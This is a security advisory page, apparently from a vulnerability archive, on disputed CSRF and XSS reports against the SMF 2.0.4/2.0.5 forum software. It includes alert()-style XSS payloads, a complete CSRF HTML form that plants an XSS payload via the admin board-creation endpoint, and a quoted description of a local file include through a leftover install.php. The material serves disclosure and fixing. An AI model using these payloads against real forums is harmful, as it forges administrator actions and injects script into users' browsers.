Disputed / BOGUS

SMF 2.0.5 Cross Site Request Forgery

Published / (Updated)
Credit
Risk
2013-09-24 / 2013-09-25
Henri
Low
CWE
CVE
Local
Remote
CWE-352
N/A
No
Yes

- BOGUS NOTE ------
Actual error message for me:

"Your session timed out while posting. Please go back and try again."

I'm really sorry about this. I even tested using different computer so I don't
know what I previously did wrong/different. Thank you for correcting this.

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Henri Salo
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

Upstream is CCd so they can and should reply in case I made errors in this email.

Could not reproduce this issue:
http://packetstormsecurity.com/files/121391/public_phpInjection-smf204.txt

Multiple XSS issues in fixed in ./Sources/ManageServer.php by changing
addslashes to preg_replace. I don't know who reported these or if these fixes
are related to vulnerabilities listed below.

From http://hauntit.blogspot.co.uk/2013/04/en-smf-204-full-disclosure.html

"""
First of all, let's check a local file include vulnerability. If admin will not
delete the install.php file after installation, attacker is able to run command
and compromise the server. Idea is simple. User who is able to put php-file
(with webshell) at SMF-installed-server, can exploit a require_once() function
to get a shell at remote host.
"""

No CVE as per installation requests user to delete install.php and offers easy
way to do it in the installation process. Please comment if you feel otherwise.
Did not try to reproduce this issue. Probably not the only issue if user does
not delete install.php file.

XSS in index.php?action=admin;area=manageboards;sa=newboard;cat=1 "board_name"
Requires admin account
PoC: "><BODY ONLOAD=alert('XSS')>
Verified in 2.0.4
Not fixed in 2.0.5

SMF guys, this CSRF should help to verify this issue. Can you fix this in next
release? Contact me in case you need help.

<html>
<body>
<form action="http://example.com/index.php?action=admin;area=manageboards;sa=board2" method="POST">
<input type="hidden" name="boardid" value="0" />
<input type="hidden" name="new&#95;cat" value="0" />
<input type="hidden" name="placement" value="after" />
<input type="hidden" name="board&#95;order" value="1" />
<input type="hidden" name="board&#95;name" value="New&#32;Board" />
<input type="hidden" name="desc" value="&quot;&gt;&lt;BODY&#32;ONLOAD&#61;alert&#40;&apos;XSS&apos;&#41;&gt;" />
<input type="hidden" name="profile" value="1" />
<input type="hidden" name="groups&#91;&#93;" value="&#45;1" />
<input type="hidden" name="groups&#91;&#93;" value="0" />
<input type="hidden" name="groups&#91;&#93;" value="2" />
<input type="hidden" name="dummy&#95;834674" value="" />
<input type="hidden" name="redirect&#95;address" value="" />
<input type="hidden" name="count" value="on" />
<input type="hidden" name="boardtheme" value="0" />
<input type="hidden" name="rid" value="boards" />
<input type="hidden" name="e2b8c5b3437" value="bdcc798a0a86fa141da538f7c3a6ec42" />
<input type="hidden" name="no&#95;children" value="1" />
<input type="hidden" name="cur&#95;cat" value="1" />
<input type="hidden" name="add" value="Add&#32;Board" />
<input type="hidden" name="moderators" value="" />
<input type="submit" value="Submit form" />
</form>
</body>
</html>

XSS in index.php?action=pm;sa=settings;save "sa"
Requires registed user account
POST PoC: "><img/src="x"/onerror="alert(123)"><
Verified in 2.0.4
Fixed in 2.0.5

---
Henri Salo

References:

http://cxsecurity.com/issue/WLB-2013090164
http://cxsecurity.com/issue/WLB-2013090110
http://packetstormsecurity.com/files/121391/public_phpInjection-smf204.txt
http://seclists.org/oss-sec/2013/q3/657


See this note in RAW Version

 
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